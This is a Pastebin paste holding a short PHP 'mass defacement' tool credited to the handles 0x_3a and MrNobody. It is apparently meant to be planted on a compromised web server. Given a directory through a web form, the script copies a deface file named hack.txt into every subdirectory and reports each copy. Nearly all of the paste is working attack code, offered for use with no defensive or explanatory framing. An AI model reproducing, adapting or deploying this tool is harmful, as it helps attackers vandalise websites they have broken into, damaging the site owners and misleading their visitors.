Advertisement
MrN0body

Mass

Aug 25th, 2017
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.74 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>0x_3a was here</title>
  4. <meta name="author" content="0x_3a,MrNobody">
  5. <meta name="keywords" content="Mass Defacement,Mass,MrNobody,0x_3a">
  6. <style type="text/css">
  7. body {
  8.     margin:10px;
  9.     background-image: url("https://pbs.twimg.com/media/DIDrs4YW0AEtPP-.jpg");
  10.     background-repeat: no-repeat;
  11.     background-position: center;
  12.     background-attachment: fixed;
  13.     background-color: #2C1122;
  14.     color: white;
  15.     font-family: arial;
  16.     font-size: 110%;
  17. }
  18. a {
  19.     text-decoration: none;
  20.     color: white;
  21. }
  22. </style>
  23. </head>
  24. <body>
  25. <?php
  26. echo "<center><textarea rows='20' cols='100'>";
  27. $defaceurl = $_POST['massdefaceurl'];
  28. $dir = $_POST['massdefacedir'];
  29. echo $dir."\n";
  30.  
  31. if (is_dir($dir)) {
  32.     if ($dh = opendir($dir)) {
  33.         while (($file = readdir($dh)) !== false) {
  34.                         if(filetype($dir.$file)=="dir"){
  35.                                 $newfile=$dir.$file."/hack.txt";
  36.                                 echo $newfile."\n";
  37.                                 if (!copy($defaceurl, $newfile)) {
  38.                                         echo "failed to copy $file...\n";
  39.                                 }
  40.                         }
  41.         }
  42.         closedir($dh);
  43.     }
  44. }
  45. echo "</textarea></center>";
  46. ?>
  47. <br>
  48. <center>
  49. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  50. Directory: <input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'>  
  51. Copy Form: <input type='text' style='width: 250px' value='<?php  echo getcwd() . "/"; ?>hack.txt' name='massdefaceurl'>
  52. <input type='submit' name='execmassdeface' value='Execute'></form></td>
  53. <br><br><br>
  54.     &copy; 2017 <a href="https://twitter.com/0x_3a">MrNobody</a>
  55. <br><br></center>
  56. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement